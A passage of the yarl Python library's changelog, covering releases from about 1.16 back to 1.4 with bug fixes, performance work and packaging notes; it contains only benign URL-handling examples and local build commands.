`@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1320 `__.\n\n- Improved performance of ``~yarl.URL.parent`` -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1321 `__.\n\n- Improved performance of the ``yarl.URL.with_scheme()`` method -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1322 `__.\n\n\n----\n\n\n1.15.4\n======\n\n*(2024-10-16)*\n\n\nMiscellaneous internal changes\n------------------------------\n\n- Improved performance of the quoter when all characters are safe -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1288 `__.\n\n- Improved performance of unquoting strings -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1292 `__, `#1293 `__.\n\n- Improved performance of calling ``yarl.URL.build()`` -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1297 `__.\n\n\n----\n\n\n1.15.3\n======\n\n*(2024-10-15)*\n\n\nBug fixes\n---------\n\n- Fixed ``yarl.URL.build()`` failing to validate paths must start with a ``/`` when passing ``authority`` -- by `@bdraco `__.\n\n  The validation only worked correctly when passing ``host``.\n\n  *Related issues and pull requests on GitHub:*\n  `#1265 `__.\n\n\nRemovals and backward incompatible breaking changes\n---------------------------------------------------\n\n- Removed support for Python 3.8 as it has reached end of life -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1203 `__.\n\n\nMiscellaneous internal changes\n------------------------------\n\n- Improved performance of constructing ``~yarl.URL`` when the net location is only the host -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1271 `__.\n\n\n----\n\n\n1.15.2\n======\n\n*(2024-10-13)*\n\n\nMiscellaneous internal changes\n------------------------------\n\n- Improved performance of converting ``~yarl.URL`` to a string -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1234 `__.\n\n- Improved performance of ``yarl.URL.joinpath()`` -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1248 `__, `#1250 `__.\n\n- Improved performance of constructing query strings from ``~multidict.MultiDict`` -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1256 `__.\n\n- Improved performance of constructing query strings with ``int`` values -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1259 `__.\n\n\n----\n\n\n1.15.1\n======\n\n*(2024-10-12)*\n\n\nMiscellaneous internal changes\n------------------------------\n\n- Improved performance of calling ``yarl.URL.build()`` -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1222 `__.\n\n- Improved performance of all ``~yarl.URL`` methods that create new ``~yarl.URL`` objects -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1226 `__.\n\n- Improved performance of ``~yarl.URL`` methods that modify the network location -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1229 `__.\n\n\n----\n\n\n1.15.0\n======\n\n*(2024-10-11)*\n\n\nBug fixes\n---------\n\n- Fixed validation with ``yarl.URL.with_scheme()`` when passed scheme is not lowercase -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1189 `__.\n\n\nFeatures\n--------\n\n- Started building ``armv7l`` wheels -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1204 `__.\n\n\nMiscellaneous internal changes\n------------------------------\n\n- Improved performance of constructing unencoded ``~yarl.URL`` objects -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1188 `__.\n\n- Added a cache for parsing hosts to reduce overhead of encoding ``~yarl.URL`` -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1190 `__.\n\n- Improved performance of constructing query strings from ``~collections.abc.Mapping`` -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1193 `__.\n\n- Improved performance of converting ``~yarl.URL`` objects to strings -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1198 `__.\n\n\n----\n\n\n1.14.0\n======\n\n*(2024-10-08)*\n\n\nPackaging updates and notes for downstreams\n-------------------------------------------\n\n- Switched to using the ``propcache`` package for property caching\n  -- by `@bdraco `__.\n\n  The ``propcache`` package is derived from the property caching\n  code in ``yarl`` and has been broken out to avoid maintaining it for multiple\n  projects.\n\n  *Related issues and pull requests on GitHub:*\n  `#1169 `__.\n\n\nContributor-facing changes\n--------------------------\n\n- Started testing with Hypothesis -- by `@webknjaz `__ and `@bdraco `__.\n\n  Special thanks to `@Zac-HD `__ for helping us get started with this framework.\n\n  *Related issues and pull requests on GitHub:*\n  `#860 `__.\n\n\nMiscellaneous internal changes\n------------------------------\n\n- Improved performance of ``yarl.URL.is_default_port()`` when no explicit port is set -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1168 `__.\n\n- Improved performance of converting ``~yarl.URL`` to a string when no explicit port is set -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1170 `__.\n\n- Improved performance of the ``yarl.URL.origin()`` method -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1175 `__.\n\n- Improved performance of encoding hosts -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1176 `__.\n\n\n----\n\n\n1.13.1\n======\n\n*(2024-09-27)*\n\n\nMiscellaneous internal changes\n------------------------------\n\n- Improved performance of calling ``yarl.URL.build()`` with ``authority`` -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1163 `__.\n\n\n----\n\n\n1.13.0\n======\n\n*(2024-09-26)*\n\n\nBug fixes\n---------\n\n- Started rejecting ASCII hostnames with invalid characters. For host strings that\n  look like authority strings, the exception message includes advice on what to do\n  instead -- by `@mjpieters `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#880 `__, `#954 `__.\n\n- Fixed IPv6 addresses missing brackets when the ``~yarl.URL`` was converted to a string -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1157 `__, `#1158 `__.\n\n\nFeatures\n--------\n\n- Added ``~yarl.URL.host_subcomponent`` which returns the ``3986#section-3.2.2`` host subcomponent -- by `@bdraco `__.\n\n  The only current practical difference between ``~yarl.URL.raw_host`` and ``~yarl.URL.host_subcomponent`` is that IPv6 addresses are returned bracketed.\n\n  *Related issues and pull requests on GitHub:*\n  `#1159 `__.\n\n\n----\n\n\n1.12.1\n======\n\n*(2024-09-23)*\n\n\nNo significant changes.\n\n\n----\n\n\n1.12.0\n======\n\n*(2024-09-23)*\n\n\nFeatures\n--------\n\n- Added ``~yarl.URL.path_safe`` to be able to fetch the path without ``%2F`` and ``%25`` decoded -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1150 `__.\n\n\nRemovals and backward incompatible breaking changes\n---------------------------------------------------\n\n- Restore decoding ``%2F`` (``/``) in ``URL.path`` -- by `@bdraco `__.\n\n  This change restored the behavior before `#1057 `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1151 `__.\n\n\nMiscellaneous internal changes\n------------------------------\n\n- Improved performance of processing paths -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1143 `__.\n\n\n----\n\n\n1.11.1\n======\n\n*(2024-09-09)*\n\n\nBug fixes\n---------\n\n- Allowed scheme replacement for relative URLs if the scheme does not require a host -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#280 `__, `#1138 `__.\n\n- Allowed empty host for URL schemes other than the special schemes listed in the WHATWG URL spec -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1136 `__.\n\n\nFeatures\n--------\n\n- Loosened restriction on integers as query string values to allow classes that implement ``__int__`` -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1139 `__.\n\n\nMiscellaneous internal changes\n------------------------------\n\n- Improved performance of normalizing paths -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1137 `__.\n\n\n----\n\n\n1.11.0\n======\n\n*(2024-09-08)*\n\n\nFeatures\n--------\n\n- Added ``URL.extend_query()()`` method, which can be used to extend parameters without replacing same named keys -- by `@bdraco `__.\n\n  This method was primarily added to replace the inefficient hand rolled method currently used in ``aiohttp``.\n\n  *Related issues and pull requests on GitHub:*\n  `#1128 `__.\n\n\nMiscellaneous internal changes\n------------------------------\n\n- Improved performance of the Cython ``cached_property`` implementation -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1122 `__.\n\n- Simplified computing ports by removing unnecessary code -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1123 `__.\n\n- Improved performance of encoding non IPv6 hosts -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1125 `__.\n\n- Improved performance of ``URL.build()()`` when the path, query string, or fragment is an empty string -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1126 `__.\n\n- Improved performance of the ``URL.update_query()()`` method -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1130 `__.\n\n- Improved performance of processing query string changes when arguments are ``str`` -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1131 `__.\n\n\n----\n\n\n1.10.0\n======\n\n*(2024-09-06)*\n\n\nBug fixes\n---------\n\n- Fixed joining a path when the existing path was empty -- by `@bdraco `__.\n\n  A regression in ``URL.join()()`` was introduced in `#1082 `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1118 `__.\n\n\nFeatures\n--------\n\n- Added ``URL.without_query_params()()`` method, to drop some parameters from query string -- by `@hongquan `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#774 `__, `#898 `__, `#1010 `__.\n\n- The previously protected types ``_SimpleQuery``, ``_QueryVariable``, and ``_Query`` are now available for use externally as ``SimpleQuery``, ``QueryVariable``, and ``Query`` -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1050 `__, `#1113 `__.\n\n\nContributor-facing changes\n--------------------------\n\n- Replaced all ``~typing.Optional`` with ``~typing.Union`` -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1095 `__.\n\n\nMiscellaneous internal changes\n------------------------------\n\n- Significantly improved performance of parsing the network location -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1112 `__.\n\n- Added internal types to the cache to prevent future refactoring errors -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1117 `__.\n\n\n----\n\n\n1.9.11\n======\n\n*(2024-09-04)*\n\n\nBug fixes\n---------\n\n- Fixed a ``TypeError`` with ``MultiDictProxy`` and Python 3.8 -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1084 `__, `#1105 `__, `#1107 `__.\n\n\nMiscellaneous internal changes\n------------------------------\n\n- Improved performance of encoding hosts -- by `@bdraco `__.\n\n  Previously, the library would unconditionally try to parse a host as an IP Address. The library now avoids trying to parse a host as an IP Address if the string is not in one of the formats described in ``3986#section-3.2.2``.\n\n  *Related issues and pull requests on GitHub:*\n  `#1104 `__.\n\n\n----\n\n\n1.9.10\n======\n\n*(2024-09-04)*\n\n\nBug fixes\n---------\n\n- ``URL.join()()`` has been changed to match\n  ``3986`` and align with\n  ``/ operation()`` and ``URL.joinpath()()``\n  when joining URLs with empty segments.\n  Previously ``urllib.parse.urljoin`` was used,\n  which has known issues with empty segments\n  (`python/cpython#84774 `_).\n\n  Due to the semantics of ``URL.join()()``, joining an\n  URL with scheme requires making it relative, prefixing with ``./``.\n\n  .. code-block:: pycon\n\n     >>> URL(\"https://web.archive.org/web/\").join(URL(\"./https://github.com/aio-libs/yarl\"))\n     URL('https://web.archive.org/web/https://github.com/aio-libs/yarl')\n\n\n  Empty segments are honored in the base as well as the joined part.\n\n  .. code-block:: pycon\n\n     >>> URL(\"https://web.archive.org/web/https://\").join(URL(\"github.com/aio-libs/yarl\"))\n     URL('https://web.archive.org/web/https://github.com/aio-libs/yarl')\n\n\n\n  -- by `@commonism `__\n\n  This change initially appeared in 1.9.5 but was reverted in 1.9.6 to resolve a problem with query string handling.\n\n  *Related issues and pull requests on GitHub:*\n  `#1039 `__, `#1082 `__.\n\n\nFeatures\n--------\n\n- Added ``~yarl.URL.absolute`` which is now preferred over ``URL.is_absolute()`` -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1100 `__.\n\n\n----\n\n\n1.9.9\n=====\n\n*(2024-09-04)*\n\n\nBug fixes\n---------\n\n- Added missing type on ``~yarl.URL.port`` -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1097 `__.\n\n\n----\n\n\n1.9.8\n=====\n\n*(2024-09-03)*\n\n\nFeatures\n--------\n\n- Covered the ``~yarl.URL`` object with types -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1084 `__.\n\n- Cache parsing of IP Addresses when encoding hosts -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1086 `__.\n\n\nContributor-facing changes\n--------------------------\n\n- Covered the ``~yarl.URL`` object with types -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1084 `__.\n\n\nMiscellaneous internal changes\n------------------------------\n\n- Improved performance of handling ports -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1081 `__.\n\n\n----\n\n\n1.9.7\n=====\n\n*(2024-09-01)*\n\n\nRemovals and backward incompatible breaking changes\n---------------------------------------------------\n\n- Removed support ``3986#section-3.2.3`` port normalization when the scheme is not one of ``http``, ``https``, ``wss``, or ``ws`` -- by `@bdraco `__.\n\n  Support for port normalization was recently added in `#1033 `__ and contained code that would do blocking I/O if the scheme was not one of the four listed above. The code has been removed because this library is intended to be safe for usage with ``asyncio``.\n\n  *Related issues and pull requests on GitHub:*\n  `#1076 `__.\n\n\nMiscellaneous internal changes\n------------------------------\n\n- Improved performance of property caching -- by `@bdraco `__.\n\n  The ``reify`` implementation from ``aiohttp`` was adapted to replace the internal ``cached_property`` implementation.\n\n  *Related issues and pull requests on GitHub:*\n  `#1070 `__.\n\n\n----\n\n\n1.9.6\n=====\n\n*(2024-08-30)*\n\n\nBug fixes\n---------\n\n- Reverted ``3986`` compatible ``URL.join()()`` honoring empty segments which was introduced in `#1039 `__.\n\n  This change introduced a regression handling query string parameters with joined URLs. The change was reverted to maintain compatibility with the previous behavior.\n\n  *Related issues and pull requests on GitHub:*\n  `#1067 `__.\n\n\n----\n\n\n1.9.5\n=====\n\n*(2024-08-30)*\n\n\nBug fixes\n---------\n\n- Joining URLs with empty segments has been changed\n  to match ``3986``.\n\n  Previously empty segments would be removed from path,\n  breaking use-cases such as\n\n  .. code-block:: python\n\n     URL(\"https://web.archive.org/web/\") / \"https://github.com/\"\n\n  Now ``/ operation()`` and ``URL.joinpath()()``\n  keep empty segments, but do not introduce new empty segments.\n  e.g.\n\n  .. code-block:: python\n\n     URL(\"https://example.org/\") / \"\"\n\n  does not introduce an empty segment.\n\n  -- by `@commonism `__ and `@youtux `__\n\n  *Related issues and pull requests on GitHub:*\n  `#1026 `__.\n\n- The default protocol ports of well-known URI schemes are now taken into account\n  during the normalization of the URL string representation in accordance with\n  ``3986#section-3.2.3``.\n\n  Specified ports are removed from the ``str`` representation of a ``~yarl.URL``\n  if the port matches the scheme's default port -- by `@commonism `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1033 `__.\n\n- ``URL.join()()`` has been changed to match\n  ``3986`` and align with\n  ``/ operation()`` and ``URL.joinpath()()``\n  when joining URLs with empty segments.\n  Previously ``urllib.parse.urljoin`` was used,\n  which has known issues with empty segments\n  (`python/cpython#84774 `_).\n\n  Due to the semantics of ``URL.join()()``, joining an\n  URL with scheme requires making it relative, prefixing with ``./``.\n\n  .. code-block:: pycon\n\n     >>> URL(\"https://web.archive.org/web/\").join(URL(\"./https://github.com/aio-libs/yarl\"))\n     URL('https://web.archive.org/web/https://github.com/aio-libs/yarl')\n\n\n  Empty segments are honored in the base as well as the joined part.\n\n  .. code-block:: pycon\n\n     >>> URL(\"https://web.archive.org/web/https://\").join(URL(\"github.com/aio-libs/yarl\"))\n     URL('https://web.archive.org/web/https://github.com/aio-libs/yarl')\n\n\n\n  -- by `@commonism `__\n\n  *Related issues and pull requests on GitHub:*\n  `#1039 `__.\n\n\nRemovals and backward incompatible breaking changes\n---------------------------------------------------\n\n- Stopped decoding ``%2F`` (``/``) in ``URL.path``, as this could lead to code incorrectly treating it as a path separator\n  -- by `@Dreamsorcerer `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1057 `__.\n\n- Dropped support for Python 3.7 -- by `@Dreamsorcerer `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1016 `__.\n\n\nImproved documentation\n----------------------\n\n- On the ``Contributing docs`` page,\n  a link to the ``Towncrier philosophy`` has been fixed.\n\n  *Related issues and pull requests on GitHub:*\n  `#981 `__.\n\n- The pre-existing ``/ magic method()``\n  has been documented in the API reference -- by `@commonism `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1026 `__.\n\n\nPackaging updates and notes for downstreams\n-------------------------------------------\n\n- A flaw in the logic for copying the project directory into a\n  temporary folder that led to infinite recursion when ``TMPDIR``\n  was set to a project subdirectory path. This was happening in Fedora\n  and its downstream due to the use of `pyproject-rpm-macros\n  `__. It was\n  only reproducible with ``pip wheel`` and was not affecting the\n  ``pyproject-build`` users.\n\n  -- by `@hroncok `__ and `@webknjaz `__\n\n  *Related issues and pull requests on GitHub:*\n  `#992 `__, `#1014 `__.\n\n- Support Python 3.13 and publish non-free-threaded wheels\n\n  *Related issues and pull requests on GitHub:*\n  `#1054 `__.\n\n\nContributor-facing changes\n--------------------------\n\n- The CI/CD setup has been updated to test ``arm64`` wheels\n  under macOS 14, except for Python 3.7 that is unsupported\n  in that environment -- by `@webknjaz `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1015 `__.\n\n- Removed unused type ignores and casts -- by `@hauntsaninja `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1031 `__.\n\n\nMiscellaneous internal changes\n------------------------------\n\n- ``port``, ``scheme``, and ``raw_host`` are now ``cached_property`` -- by `@bdraco `__.\n\n  ``aiohttp`` accesses these properties quite often, which cause ``urllib`` to build the ``_hostinfo`` property every time. ``port``, ``scheme``, and ``raw_host`` are now cached properties, which will improve performance.\n\n  *Related issues and pull requests on GitHub:*\n  `#1044 `__, `#1058 `__.\n\n\n----\n\n\n1.9.4 (2023-12-06)\n==================\n\nBug fixes\n---------\n\n- Started raising ``TypeError`` when a string value is passed into\n  ``yarl.URL.build()`` as the ``port`` argument  -- by `@commonism `__.\n\n  Previously the empty string as port would create malformed URLs when rendered as string representations. (`#883 `__)\n\n\nPackaging updates and notes for downstreams\n-------------------------------------------\n\n- The leading ``--`` has been dropped from the `PEP 517 `__ in-tree build\n  backend config setting names. ``--pure-python`` is now just ``pure-python``\n  -- by `@webknjaz `__.\n\n  The usage now looks as follows:\n\n  .. code-block:: console\n\n      $ python -m build \\\n          --config-setting=pure-python=true \\\n          --config-setting=with-cython-tracing=true\n\n  (`#963 `__)\n\n\nContributor-facing changes\n--------------------------\n\n- A step-by-step ``Release Guide`` guide has\n  been added, describing how to release *yarl* -- by `@webknjaz `__.\n\n  This is primarily targeting maintainers. (`#960 `__)\n- Coverage collection has been implemented for the Cython modules\n  -- by `@webknjaz `__.\n\n  It will also be reported to Codecov from any non-release CI jobs.\n\n  To measure coverage in a development environment, *yarl* can be\n  installed in editable mode:\n\n  .. code-block:: console\n\n      $ python -Im pip install -e .\n\n  Editable install produces C-files required for the Cython coverage\n  plugin to map the measurements back to the PYX-files.\n\n  `#961 `__\n\n- It is now possible to request line tracing in Cython builds using the\n  ``with-cython-tracing`` `PEP 517 `__ config setting\n  -- `@webknjaz `__.\n\n  This can be used in CI and development environment to measure coverage\n  on Cython modules, but is not normally useful to the end-users or\n  downstream packagers.\n\n  Here's a usage example:\n\n  .. code-block:: console\n\n      $ python -Im pip install . --config-settings=with-cython-tracing=true\n\n  For editable installs, this setting is on by default. Otherwise, it's\n  off unless requested explicitly.\n\n  The following produces C-files required for the Cython coverage\n  plugin to map the measurements back to the PYX-files:\n\n  .. code-block:: console\n\n      $ python -Im pip install -e .\n\n  Alternatively, the ``YARL_CYTHON_TRACING=1`` environment variable\n  can be set to do the same as the `PEP 517 `__ config setting.\n\n  `#962 `__\n\n\n1.9.3 (2023-11-20)\n==================\n\nBug fixes\n---------\n\n- Stopped dropping trailing slashes in ``yarl.URL.joinpath()`` -- by `@gmacon `__. (`#862 `__, `#866 `__)\n- Started accepting string subclasses in ``yarl.URL.__truediv__()`` operations (``URL / segment``) -- by `@mjpieters `__. (`#871 `__, `#884 `__)\n- Fixed the human representation of URLs with square brackets in usernames and passwords -- by `@mjpieters `__. (`#876 `__, `#882 `__)\n- Updated type hints to include ``URL.missing_port()``, ``URL.__bytes__()``\n  and the ``encoding`` argument to ``yarl.URL.joinpath()``\n  -- by `@mjpieters `__. (`#891 `__)\n\n\nPackaging updates and notes for downstreams\n-------------------------------------------\n\n- Integrated Cython 3 to enable building *yarl* under Python 3.12 -- by `@mjpieters `__. (`#829 `__, `#881 `__)\n- Declared modern ``setuptools.build_meta`` as the `PEP 517 `__ build\n  backend in ``pyproject.toml`` explicitly -- by `@webknjaz `__. (`#886 `__)\n- Converted most of the packaging setup into a declarative ``setup.cfg``\n  config -- by `@webknjaz `__. (`#890 `__)\n- The packaging is replaced from an old-fashioned ``setup.py`` to an\n  in-tree `PEP 517 `__ build backend -- by `@webknjaz `__.\n\n  Whenever the end-users or downstream packagers need to build ``yarl`` from\n  source (a Git checkout or an sdist), they may pass a ``config_settings``\n  flag ``--pure-python``. If this flag is not set, a C-extension will be built\n  and included into the distribution.\n\n  Here is how this can be done with ``pip``:\n\n  .. code-block:: console\n\n      $ python -m pip install . --config-settings=--pure-python=false\n\n  This will also work with ``-e | --editable``.\n\n  The same can be achieved via ``pypa/build``:\n\n  .. code-block:: console\n\n      $ python -m build --config-setting=--pure-python=false\n\n  Adding ``-w | --wheel`` can force ``pypa/build`` produce a wheel from source\n  directly, as opposed to building an ``sdist`` and then building from it. (`#893 `__)\n\n  .. attention::\n\n     v1.9.3 was the only version using the ``--pure-python`` setting name.\n     Later versions dropped the ``--`` prefix, making it just ``pure-python``.\n\n- Declared Python 3.12 supported officially in the distribution package metadata\n  -- by `@edgarrmondragon `__. (`#942 `__)\n\n\nContributor-facing changes\n--------------------------\n\n- A regression test for no-host URLs was added per `#821 `__\n  and ``3986`` -- by `@kenballus `__. (`#821 `__, `#822 `__)\n- Started testing *yarl* against Python 3.12 in CI -- by `@mjpieters `__. (`#881 `__)\n- All Python 3.12 jobs are now marked as required to pass in CI\n  -- by `@edgarrmondragon `__. (`#942 `__)\n- MyST is now integrated in Sphinx -- by `@webknjaz `__.\n\n  This allows the contributors to author new documents in Markdown\n  when they have difficulties with going straight RST. (`#953 `__)\n\n\n1.9.2 (2023-04-25)\n==================\n\nBugfixes\n--------\n\n- Fix regression with ``yarl.URL.__truediv__()`` and absolute URLs with empty paths causing the raw path to lack the leading ``/``.\n  (`#854 `_)\n\n\n1.9.1 (2023-04-21)\n==================\n\nBugfixes\n--------\n\n- Marked tests that fail on older Python patch releases (< 3.7.10, < 3.8.8 and < 3.9.2) as expected to fail due to missing a security fix for CVE-2021-23336. (`#850 `_)\n\n\n1.9.0 (2023-04-19)\n==================\n\nThis release was never published to PyPI, due to issues with the build process.\n\nFeatures\n--------\n\n- Added ``URL.joinpath(*elements)``, to create a new URL appending multiple path elements. (`#704 `_)\n- Made ``URL.__truediv__()()`` return ``NotImplemented`` if called with an\n  unsupported type \u2014 by `@michaeljpeters `__.\n  (`#832 `_)\n\n\nBugfixes\n--------\n\n- Path normalization for absolute URLs no longer raises a ValueError exception\n  when ``..`` segments would otherwise go beyond the URL path root.\n  (`#536 `_)\n- Fixed an issue with update_query() not getting rid of the query when argument is None. (`#792 `_)\n- Added some input restrictions on with_port() function to prevent invalid boolean inputs or out of valid port inputs; handled incorrect 0 port representation. (`#793 `_)\n- Made ``yarl.URL.build()`` raise a ``TypeError`` if the ``host`` argument is ``None`` \u2014 by `@paulpapacz `__. (`#808 `_)\n- Fixed an issue with ``update_query()`` getting rid of the query when the argument\n  is empty but not ``None``. (`#845 `_)\n\n\nMisc\n----\n\n- `#220 `_\n\n\n1.8.2 (2022-12-03)\n==================\n\nThis is the first release that started shipping wheels for Python 3.11.\n\n\n1.8.1 (2022-08-01)\n==================\n\nMisc\n----\n\n- `#694 `_, `#699 `_, `#700 `_, `#701 `_, `#702 `_, `#703 `_, `#739 `_\n\n\n1.8.0 (2022-08-01)\n==================\n\nFeatures\n--------\n\n- Added ``URL.raw_suffix``, ``URL.suffix``, ``URL.raw_suffixes``, ``URL.suffixes``, ``URL.with_suffix``. (`#613 `_)\n\n\nImproved Documentation\n----------------------\n\n- Fixed broken internal references to ``yarl.URL.human_repr()``.\n  (`#665 `_)\n- Fixed broken external references to ``multidict:index`` docs. (`#665 `_)\n\n\nDeprecations and Removals\n-------------------------\n\n- Dropped Python 3.6 support. (`#672 `_)\n\n\nMisc\n----\n\n- `#646 `_, `#699 `_, `#701 `_\n\n\n1.7.2 (2021-11-01)\n==================\n\nBugfixes\n--------\n\n- Changed call in ``with_port()`` to stop reencoding parts of the URL that were already encoded. (`#623 `_)\n\n\n1.7.1 (2021-10-07)\n==================\n\nBugfixes\n--------\n\n- Fix 1.7.0 build error\n\n1.7.0 (2021-10-06)\n==================\n\nFeatures\n--------\n\n- Add ``__bytes__()`` magic method so that ``bytes(url)`` will work and use optimal ASCII encoding.\n  (`#582 `_)\n- Started shipping platform-specific arm64 wheels for Apple Silicon. (`#622 `_)\n- Started shipping platform-specific wheels with the ``musl`` tag targeting typical Alpine Linux runtimes. (`#622 `_)\n- Added support for Python 3.10. (`#622 `_)\n\n\n1.6.3 (2020-11-14)\n==================\n\nBugfixes\n--------\n\n- No longer loose characters when decoding incorrect percent-sequences (like ``%e2%82%f8``). All non-decodable percent-sequences are now preserved.\n  `#517 `_\n- Provide x86 Windows wheels.\n  `#535 `_\n\n\n----\n\n\n1.6.2 (2020-10-12)\n==================\n\n\nBugfixes\n--------\n\n- Provide generated ``.c`` files in TarBall distribution.\n  `#530  `_\n\n1.6.1 (2020-10-12)\n==================\n\nFeatures\n--------\n\n- Provide wheels for ``aarch64``, ``i686``, ``ppc64le``, ``s390x`` architectures on\n  Linux as well as ``x86_64``.\n  `#507  `_\n- Provide wheels for Python 3.9.\n  `#526 `_\n\nBugfixes\n--------\n\n- ``human_repr()`` now always produces valid representation equivalent to the original URL (if the original URL is valid).\n  `#511 `_\n- Fixed  requoting a single percent followed by a percent-encoded character in the Cython implementation.\n  `#514 `_\n- Fix ValueError when decoding ``%`` which is not followed by two hexadecimal digits.\n  `#516 `_\n- Fix decoding ``%`` followed by a space and hexadecimal digit.\n  `#520 `_\n- Fix annotation of ``with_query()``/``update_query()`` methods for ``key=[val1, val2]`` case.\n  `#528 `_\n\nRemoval\n-------\n\n- Drop Python 3.5 support; Python 3.6 is the minimal supported Python version.\n\n\n----\n\n\n1.6.0 (2020-09-23)\n==================\n\nFeatures\n--------\n\n- Allow for int and float subclasses in query, while still denying bool.\n  `#492 `_\n\n\nBugfixes\n--------\n\n- Do not requote arguments in ``URL.build()``, ``with_xxx()`` and in ``/`` operator.\n  `#502 `_\n- Keep IPv6 brackets in ``origin()``.\n  `#504 `_\n\n\n----\n\n\n1.5.1 (2020-08-01)\n==================\n\nBugfixes\n--------\n\n- Fix including relocated internal ``yarl._quoting_c`` C-extension into published PyPI dists.\n  `#485 `_\n\n\nMisc\n----\n\n- `#484 `_\n\n\n----\n\n\n1.5.0 (2020-07-26)\n==================\n\nFeatures\n--------\n\n- Convert host to lowercase on URL building.\n  `#386 `_\n- Allow using ``mod`` operator (``%``) for updating query string (an alias for ``update_query()`` method).\n  `#435 `_\n- Allow use of sequences such as ``list`` and ``tuple`` in the values\n  of a mapping such as ``dict`` to represent that a key has many values::\n\n      url = URL(\"http://example.com\")\n      assert url.with_query({\"a\": [1, 2]}) == URL(\"http://example.com/?a=1&a=2\")\n\n  `#443 `_\n- Support ``URL.build()`` with scheme and path (creates a relative URL).\n  `#464 `_\n- Cache slow IDNA encode/decode calls.\n  `#476 `_\n- Add ``@final`` / ``Final`` type hints\n  `#477 `_\n- Support URL authority/raw_authority properties and authority argument of ``URL.build()`` method.\n  `#478 `_\n- Hide the library implementation details, make the exposed public list very clean.\n  `#483 `_\n\n\nBugfixes\n--------\n\n- Fix tests with newer Python (3.7.6, 3.8.1 and 3.9.0+).\n  `#409 `_\n- Fix a bug where query component, passed in a form of mapping or sequence, is unquoted in unexpected way.\n  `#426 `_\n- Hide ``Query`` and ``QueryVariable`` type aliases in ``__init__.pyi``, now they are prefixed with underscore.\n  `#431 `_\n- Keep IPv6 brackets after updating port/user/password.\n  `#451 `_\n\n\n----\n\n\n1.4.2 (2019-12-05)\n==================\n\nFeatures\n--------\n\n- Workaround for missing ``str.isascii()`` in Python 3.6\n  `#389 `_\n\n\n----\n\n\n1.4.1 (2019-11-29)\n==================\n\n* Fix regression, make the library work on Python 3.5 and 3.6 again.\n\n1.4.0 (2019-11-29)\n==================\n\n* Distinguish an empty password in URL from a password not provided at all (#262)\n\n* Fixed annotations for optional parameters of ``URL.build`` (#309)\n\n* Use None as default value of ``user`` parameter of ``URL.build`` (#309)\n\n* Enforce building C Accelerated modules when installing from source tarball, use\n  ``YARL_NO_EXTENSIONS`` environment variable for falling back to (slower) Pure Python\n  implementation (#329)\n\n* Drop Python 